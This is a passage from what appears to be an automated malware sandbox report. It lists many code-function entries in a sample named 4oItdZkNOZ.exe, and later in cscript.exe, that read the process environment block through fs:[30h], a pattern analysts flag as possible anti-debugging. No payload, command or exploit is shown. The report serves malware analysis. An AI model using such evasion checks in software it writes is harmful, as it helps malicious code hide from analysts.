Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BEB260 mov eax, dword ptr fs:[00000030h] 1_2_00BEB260
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BEB260 mov eax, dword ptr fs:[00000030h] 1_2_00BEB260
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFEA55 mov eax, dword ptr fs:[00000030h] 1_2_00BFEA55
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BC4257 mov eax, dword ptr fs:[00000030h] 1_2_00BC4257
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B39240 mov eax, dword ptr fs:[00000030h] 1_2_00B39240
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B39240 mov eax, dword ptr fs:[00000030h] 1_2_00B39240
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B39240 mov eax, dword ptr fs:[00000030h] 1_2_00B39240
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B39240 mov eax, dword ptr fs:[00000030h] 1_2_00B39240
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B64BAD mov eax, dword ptr fs:[00000030h] 1_2_00B64BAD
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B64BAD mov eax, dword ptr fs:[00000030h] 1_2_00B64BAD
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B64BAD mov eax, dword ptr fs:[00000030h] 1_2_00B64BAD
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62397 mov eax, dword ptr fs:[00000030h] 1_2_00B62397
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6B390 mov eax, dword ptr fs:[00000030h] 1_2_00B6B390
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF138A mov eax, dword ptr fs:[00000030h] 1_2_00BF138A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B41B8F mov eax, dword ptr fs:[00000030h] 1_2_00B41B8F
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B41B8F mov eax, dword ptr fs:[00000030h] 1_2_00B41B8F
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BED380 mov ecx, dword ptr fs:[00000030h] 1_2_00BED380
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B603E2 mov eax, dword ptr fs:[00000030h] 1_2_00B603E2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B603E2 mov eax, dword ptr fs:[00000030h] 1_2_00B603E2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B603E2 mov eax, dword ptr fs:[00000030h] 1_2_00B603E2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B603E2 mov eax, dword ptr fs:[00000030h] 1_2_00B603E2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B603E2 mov eax, dword ptr fs:[00000030h] 1_2_00B603E2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B603E2 mov eax, dword ptr fs:[00000030h] 1_2_00B603E2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5DBE9 mov eax, dword ptr fs:[00000030h] 1_2_00B5DBE9
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C05BA5 mov eax, dword ptr fs:[00000030h] 1_2_00C05BA5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB53CA mov eax, dword ptr fs:[00000030h] 1_2_00BB53CA
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB53CA mov eax, dword ptr fs:[00000030h] 1_2_00BB53CA
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C08B58 mov eax, dword ptr fs:[00000030h] 1_2_00C08B58
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF131B mov eax, dword ptr fs:[00000030h] 1_2_00BF131B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B63B7A mov eax, dword ptr fs:[00000030h] 1_2_00B63B7A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B63B7A mov eax, dword ptr fs:[00000030h] 1_2_00B63B7A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3DB60 mov ecx, dword ptr fs:[00000030h] 1_2_00B3DB60
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3F358 mov eax, dword ptr fs:[00000030h] 1_2_00B3F358
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3DB40 mov eax, dword ptr fs:[00000030h] 1_2_00B3DB40
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C08CD6 mov eax, dword ptr fs:[00000030h] 1_2_00C08CD6
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4849B mov eax, dword ptr fs:[00000030h] 1_2_00B4849B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF14FB mov eax, dword ptr fs:[00000030h] 1_2_00BF14FB
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6CF0 mov eax, dword ptr fs:[00000030h] 1_2_00BB6CF0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6CF0 mov eax, dword ptr fs:[00000030h] 1_2_00BB6CF0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6CF0 mov eax, dword ptr fs:[00000030h] 1_2_00BB6CF0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6BC2C mov eax, dword ptr fs:[00000030h] 1_2_00B6BC2C
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6C0A mov eax, dword ptr fs:[00000030h] 1_2_00BB6C0A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6C0A mov eax, dword ptr fs:[00000030h] 1_2_00BB6C0A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6C0A mov eax, dword ptr fs:[00000030h] 1_2_00BB6C0A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6C0A mov eax, dword ptr fs:[00000030h] 1_2_00BB6C0A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00BF1C06
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C0740D mov eax, dword ptr fs:[00000030h] 1_2_00C0740D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C0740D mov eax, dword ptr fs:[00000030h] 1_2_00C0740D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C0740D mov eax, dword ptr fs:[00000030h] 1_2_00C0740D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5746D mov eax, dword ptr fs:[00000030h] 1_2_00B5746D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCC450 mov eax, dword ptr fs:[00000030h] 1_2_00BCC450
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCC450 mov eax, dword ptr fs:[00000030h] 1_2_00BCC450
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6A44B mov eax, dword ptr fs:[00000030h] 1_2_00B6A44B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B61DB5 mov eax, dword ptr fs:[00000030h] 1_2_00B61DB5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B61DB5 mov eax, dword ptr fs:[00000030h] 1_2_00B61DB5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B61DB5 mov eax, dword ptr fs:[00000030h] 1_2_00B61DB5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B635A1 mov eax, dword ptr fs:[00000030h] 1_2_00B635A1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6FD9B mov eax, dword ptr fs:[00000030h] 1_2_00B6FD9B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6FD9B mov eax, dword ptr fs:[00000030h] 1_2_00B6FD9B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62581 mov eax, dword ptr fs:[00000030h] 1_2_00B62581
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62581 mov eax, dword ptr fs:[00000030h] 1_2_00B62581
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62581 mov eax, dword ptr fs:[00000030h] 1_2_00B62581
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62581 mov eax, dword ptr fs:[00000030h] 1_2_00B62581
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B32D8A mov eax, dword ptr fs:[00000030h] 1_2_00B32D8A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B32D8A mov eax, dword ptr fs:[00000030h] 1_2_00B32D8A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B32D8A mov eax, dword ptr fs:[00000030h] 1_2_00B32D8A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B32D8A mov eax, dword ptr fs:[00000030h] 1_2_00B32D8A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B32D8A mov eax, dword ptr fs:[00000030h] 1_2_00B32D8A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BE8DF1 mov eax, dword ptr fs:[00000030h] 1_2_00BE8DF1
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4D5E0 mov eax, dword ptr fs:[00000030h] 1_2_00B4D5E0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4D5E0 mov eax, dword ptr fs:[00000030h] 1_2_00B4D5E0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFFDE2 mov eax, dword ptr fs:[00000030h] 1_2_00BFFDE2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFFDE2 mov eax, dword ptr fs:[00000030h] 1_2_00BFFDE2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFFDE2 mov eax, dword ptr fs:[00000030h] 1_2_00BFFDE2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFFDE2 mov eax, dword ptr fs:[00000030h] 1_2_00BFFDE2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C005AC mov eax, dword ptr fs:[00000030h] 1_2_00C005AC
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C005AC mov eax, dword ptr fs:[00000030h] 1_2_00C005AC
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00BB6DC9
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00BB6DC9
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00BB6DC9
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6DC9 mov ecx, dword ptr fs:[00000030h] 1_2_00BB6DC9
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00BB6DC9
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00BB6DC9
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B43D34 mov eax, dword ptr fs:[00000030h] 1_2_00B43D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3AD30 mov eax, dword ptr fs:[00000030h] 1_2_00B3AD30
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFE539 mov eax, dword ptr fs:[00000030h] 1_2_00BFE539
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BBA537 mov eax, dword ptr fs:[00000030h] 1_2_00BBA537
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B64D3B mov eax, dword ptr fs:[00000030h] 1_2_00B64D3B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B64D3B mov eax, dword ptr fs:[00000030h] 1_2_00B64D3B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B64D3B mov eax, dword ptr fs:[00000030h] 1_2_00B64D3B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5C577 mov eax, dword ptr fs:[00000030h] 1_2_00B5C577
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5C577 mov eax, dword ptr fs:[00000030h] 1_2_00B5C577
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B57D50 mov eax, dword ptr fs:[00000030h] 1_2_00B57D50
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C08D34 mov eax, dword ptr fs:[00000030h] 1_2_00C08D34
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B73D43 mov eax, dword ptr fs:[00000030h] 1_2_00B73D43
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB3540 mov eax, dword ptr fs:[00000030h] 1_2_00BB3540
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BE3D40 mov eax, dword ptr fs:[00000030h] 1_2_00BE3D40
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C08ED6 mov eax, dword ptr fs:[00000030h] 1_2_00C08ED6
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB46A7 mov eax, dword ptr fs:[00000030h] 1_2_00BB46A7
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCFE87 mov eax, dword ptr fs:[00000030h] 1_2_00BCFE87
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B616E0 mov ecx, dword ptr fs:[00000030h] 1_2_00B616E0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B476E2 mov eax, dword ptr fs:[00000030h] 1_2_00B476E2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C00EA5 mov eax, dword ptr fs:[00000030h] 1_2_00C00EA5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C00EA5 mov eax, dword ptr fs:[00000030h] 1_2_00C00EA5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C00EA5 mov eax, dword ptr fs:[00000030h] 1_2_00C00EA5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B78EC7 mov eax, dword ptr fs:[00000030h] 1_2_00B78EC7
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B636CC mov eax, dword ptr fs:[00000030h] 1_2_00B636CC
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BEFEC0 mov eax, dword ptr fs:[00000030h] 1_2_00BEFEC0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BEFE3F mov eax, dword ptr fs:[00000030h] 1_2_00BEFE3F
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3E620 mov eax, dword ptr fs:[00000030h] 1_2_00B3E620
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6A61C mov eax, dword ptr fs:[00000030h] 1_2_00B6A61C
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6A61C mov eax, dword ptr fs:[00000030h] 1_2_00B6A61C
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3C600 mov eax, dword ptr fs:[00000030h] 1_2_00B3C600
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3C600 mov eax, dword ptr fs:[00000030h] 1_2_00B3C600
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3C600 mov eax, dword ptr fs:[00000030h] 1_2_00B3C600
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B68E00 mov eax, dword ptr fs:[00000030h] 1_2_00B68E00
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1608 mov eax, dword ptr fs:[00000030h] 1_2_00BF1608
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00B5AE73
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00B5AE73
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00B5AE73
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00B5AE73
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00B5AE73
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4766D mov eax, dword ptr fs:[00000030h] 1_2_00B4766D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B47E41 mov eax, dword ptr fs:[00000030h] 1_2_00B47E41
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B47E41 mov eax, dword ptr fs:[00000030h] 1_2_00B47E41
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B47E41 mov eax, dword ptr fs:[00000030h] 1_2_00B47E41
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B47E41 mov eax, dword ptr fs:[00000030h] 1_2_00B47E41
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B47E41 mov eax, dword ptr fs:[00000030h] 1_2_00B47E41
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B47E41 mov eax, dword ptr fs:[00000030h] 1_2_00B47E41
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFAE44 mov eax, dword ptr fs:[00000030h] 1_2_00BFAE44
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFAE44 mov eax, dword ptr fs:[00000030h] 1_2_00BFAE44
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B48794 mov eax, dword ptr fs:[00000030h] 1_2_00B48794
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB7794 mov eax, dword ptr fs:[00000030h] 1_2_00BB7794
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB7794 mov eax, dword ptr fs:[00000030h] 1_2_00BB7794
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BB7794 mov eax, dword ptr fs:[00000030h] 1_2_00BB7794
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B737F5 mov eax, dword ptr fs:[00000030h] 1_2_00B737F5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6E730 mov eax, dword ptr fs:[00000030h] 1_2_00B6E730
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B34F2E mov eax, dword ptr fs:[00000030h] 1_2_00B34F2E
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B34F2E mov eax, dword ptr fs:[00000030h] 1_2_00B34F2E
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5F716 mov eax, dword ptr fs:[00000030h] 1_2_00B5F716
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C08F6A mov eax, dword ptr fs:[00000030h] 1_2_00C08F6A
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCFF10 mov eax, dword ptr fs:[00000030h] 1_2_00BCFF10
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BCFF10 mov eax, dword ptr fs:[00000030h] 1_2_00BCFF10
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6A70E mov eax, dword ptr fs:[00000030h] 1_2_00B6A70E
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6A70E mov eax, dword ptr fs:[00000030h] 1_2_00B6A70E
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C0070D mov eax, dword ptr fs:[00000030h] 1_2_00C0070D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C0070D mov eax, dword ptr fs:[00000030h] 1_2_00C0070D
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4FF60 mov eax, dword ptr fs:[00000030h] 1_2_00B4FF60
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4EF40 mov eax, dword ptr fs:[00000030h] 1_2_00B4EF40
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5849B mov eax, dword ptr fs:[00000030h] 3_2_04A5849B
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B014FB mov eax, dword ptr fs:[00000030h] 3_2_04B014FB
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6CF0 mov eax, dword ptr fs:[00000030h] 3_2_04AC6CF0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6CF0 mov eax, dword ptr fs:[00000030h] 3_2_04AC6CF0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6CF0 mov eax, dword ptr fs:[00000030h] 3_2_04AC6CF0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B18CD6 mov eax, dword ptr fs:[00000030h] 3_2_04B18CD6
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7BC2C mov eax, dword ptr fs:[00000030h] 3_2_04A7BC2C
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6C0A mov eax, dword ptr fs:[00000030h] 3_2_04AC6C0A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6C0A mov eax, dword ptr fs:[00000030h] 3_2_04AC6C0A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6C0A mov eax, dword ptr fs:[00000030h] 3_2_04AC6C0A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6C0A mov eax, dword ptr fs:[00000030h] 3_2_04AC6C0A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01C06 mov eax, dword ptr fs:[00000030h] 3_2_04B01C06
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B1740D mov eax, dword ptr fs:[00000030h] 3_2_04B1740D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B1740D mov eax, dword ptr fs:[00000030h] 3_2_04B1740D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B1740D mov eax, dword ptr fs:[00000030h] 3_2_04B1740D
